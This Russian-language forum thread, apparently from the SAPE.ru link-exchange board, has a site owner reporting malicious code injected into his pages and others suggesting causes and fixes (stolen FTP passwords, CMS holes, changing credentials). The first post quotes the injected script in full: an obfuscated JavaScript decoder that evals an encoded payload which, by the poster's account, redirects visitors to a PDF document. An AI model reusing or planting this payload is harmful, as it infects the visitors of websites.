Внимание, вирус!

[SVGN]

Заметил появление на своих сайтах следующей штуки. В определенных местах страниц сайта вставляется следующая конструкция:

<script language=JavaScript> function obn15(p) { var h=p.length,k=1024,s,i,c,z=0,d=0,j=0,t=Array(63,35, 20,1,49,50,51,34,32,12,0,0,0,0,0,0,43,21,18,48,42, 10,0,28,41,24,59,52,23,58,47,2,8,40,7,56,60,61,25, 46,55,44,31,0,0,0,0,9,0,30,3,19,4,13,6,39,45,11,16 ,15,33,26,27,53,36,37,5,38,17,29,22,14,62,57,54);f or(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k);s>0;s--,h--){{j|=(t[p.charCodeAt(z++)-48])<<d;if(d){c+=String.fromCharCode(170^j&255);j>>=8 ;d-=2}else{d=6}}}eval(c);}}obn15('uk94wLGXdshXiJUXVZV 1WL94kXIpwLG5ZZT6dJelu1UCa0Y8emyC91U5R0Y7dNT4kZHgc xypmxY7V1u5L7QCaJhzjvIliJY6RsG4dJU6dJUlPnG4_R9ld0Y XrMulAzI8gNYXOcPzr0e4wiSyiJhCd7U5dJG4RiS8FMVgc5Hsb fI1awygcDy6efI1PDIXbJYXOZHgV5H7O0TCeiYXLWysmDIzakh 4kZ_7wkGzmnT5cb_4rcT6PBHqrw96INT4kcV1bO')</script><!-- Ваш домен -->

При обращении к странице начинает открываться acrobat reader и страницу редиректит на некий документ. Кто заметил у себя на сайте похожее?

[Ufaweb]

При чем здесь Форум SAPE.RU > Система SAPE.ru > Глюки и ошибки?

[админ]

в курилку!

[SVGN]

Есть подозрение, что попадает на сайт через скрипт биржи. По существу есть что ответить? (переносите тему куда хотите)

[DNA]

Сообщение от SVGN

Заметил появление на своих сайтах следующей штуки. В определенных местах страниц сайта вставляется следующая конструкция:

1. В каких местах страниц появляется?
2. Появляется в самих файлах, или в скриптах/базе?

[Ufaweb]

Сообщение от SVGN

Есть подозрение, что попадает на сайт через скрипт биржи.

Бонд? Джеймс Бонд?
За Вами не следят, случайно?

[админ]

Сообщение от SVGN

Есть подозрение, что попадает на сайт через скрипт биржи

бред и это не подозрение такого абсолютно не может быть.. или шелл вам залили или трояна цепанули какого...

меняйте пароли шелл, фтп, баз, мыла, аккаунта в той же сапе..

[Ulf]

SVGN Проверьте логи ftp-сервера и можете начинать паниковать что это Вы во всем виноваты.

[shadx]

В 90% случаев попадает, через спертые пароли от ФТП с инфицированных компьютеров и через незакрытые дырки в стандартных движках типа Джумлы.
Заражаются файлы имеющие имя index и не важно какое расширение.

[SVGN]

Вот я и думаю. Едиственное место куда я сообщил свой пароль по фтп это САПА. Возникает сия хрень в html-документах и только в тех, в которых размещен код САПы для статических страниц. И Ufaweb, прекращайте уже идиотничать, понимаю, гормоны конечно покоя не дают.. Но с возрастом должно пройти.